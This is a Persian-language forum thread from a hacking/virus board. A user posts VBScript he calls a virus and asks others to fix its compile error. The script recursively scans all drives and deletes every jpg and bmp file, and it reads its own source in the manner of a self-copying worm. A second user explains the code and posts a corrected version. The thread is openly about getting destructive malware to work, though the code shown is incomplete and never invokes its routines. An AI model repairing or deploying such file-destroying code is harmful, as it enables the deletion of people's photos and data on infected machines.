ايران ويج

ايران ويج > هك وكرك و ويروس > ويروس و آنتي ويروس > vbs.folder كسي مي توني كد اين ويروس چه عيبي داره ؟
نسخه‌ی کامل: vbs.folder كسي مي توني كد اين ويروس چه عيبي داره ؟
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.

zer0tent

۰۱-خرداد-۱۳۸۷, ۲۳:۰۴:۲۵
On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.is ready Then

folderlist(d.path&"\")

end if

Next

end sub

sub infectfiles(folderspec)

On Error Resume Next

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

if (ext="jpg") or (ext="bmp") then

fso.deletefile(f1.path)

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

وقتي كه اجرا مي شه اين اخطار رو مي ده
winsows script host
line:19
char:9
error: expected 'Then
code:800A03F9
source: microsoft VBScript compilation error

godvb

۱۵-خرداد-۱۳۸۷, ۱۵:۵۵:۴۸
سلام . ان شاالله كه اشتباه نكنم Shy
اين كدت فايل هاي jpg , bmp رو ميگيره پاك ميكنه اين كد پايين فايل هاي jpg رو توي يك ليست باكس اضافه ميكنه .
کد:
Option Explicit
Dim fso As New FileSystemObject
Dim fld As Folder

Private Function FindFile(ByVal sFol As String, sFile As String) As Long
Dim tFld As Folder, tFil As File, FileName As String
  Set fld = fso.GetFolder(sFol)
  FileName = Dir(fso.BuildPath(fld.Path, sFile), vbNormal Or _
  vbHidden Or vbSystem Or vbReadOnly)
  While Len(FileName) <> 0
      FindFile = FindFile + FileLen(fso.BuildPath(fld.Path, FileName))
      List1.AddItem fso.BuildPath(fld.Path, FileName)
      FileName = Dir()  ' Get next file
      DoEvents
  Wend
  If fld.SubFolders.Count > 0 Then
    For Each tFld In fld.SubFolders
      DoEvents
      FindFile = FindFile + FindFile(tFld.Path, sFile)
    Next
  End If
End Function

Private Sub Command6_Click()
On Error Resume Next
Dim sDir As String
Dim sSrchString As String
Dim lSize As Long
List1.Clear
sDir = ("c:")
sDir = Left$(sDir, 2) & "\"
sSrchString = "*.jpg"
lSize = FindFile(sDir, sSrchString)
End Sub

اقايون اگه اشتباه بود حتما بگينWink

zer0tent

۱۷-خرداد-۱۳۸۷, ۰۲:۰۷:۰۶
با سلام
ببيند اين سورس كه من گذاشتم اصلا فايلي رو پاك نمي كنه و در عوض اون ايراد را مي گيره مي خام بدونم ايراد از كجاشه و اگه لطف كنيد اونو تصحيح كنيد

godvb

۱۷-خرداد-۱۳۸۷, ۱۲:۱۴:۳۰
سلام . پس اين خط كد چيكار ميكنه ؟
کد:
if (ext="jpg") or (ext="bmp") then

fso.deletefile(f1.path)

end if
اگه من اشتباه كردمShy ، خوب درست بگين چيكار ميكنه ؟

شما تو خط 13 متغيير d رو تعريف كردي ، و در خط بعديش بايد حتما فاصله بذاري كه شما نذاشته بودين . كدت ناقصه .كو ببين اين پاييني كار ميكنه ؟

کد:
On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)

vbscopy = file.ReadAll

Sub listadriv()

On Error Resume Next

Dim dc, s

Set dc = fso.Drives

For Each d In dc

If d.is Then

folderlist (d.Path & "\")

End If

Next

End Sub

Sub infectfiles(folderspec)

On Error Resume Next

Set f = fso.GetFolder(folderspec)

Set fc = f.Files

For Each f1 In fc

ext = fso.GetExtensionName(f1.Path)

If (ext = "jpg") Or (ext = "bmp") Then

fso.deletefile (f1.Path)

End If

Next

End Sub

Sub folderlist(folderspec)

On Error Resume Next

Set f = fso.GetFolder(folderspec)

Set sf = f.SubFolders

For Each f1 In sf

infectfiles (f1.Path)

folderlist (f1.Path)

Next

End Sub

zer0tent

۲۰-تير-۱۳۸۷, ۲۳:۱۶:۰۹
با تشکر از راهنمایی شما اما این برنامه هیچ فایلی را نمی تونه پاک کنه کسی هست علتشو بدونه؟
ايران ويج > هك وكرك و ويروس > ويروس و آنتي ويروس > vbs.folder كسي مي توني كد اين ويروس چه عيبي داره ؟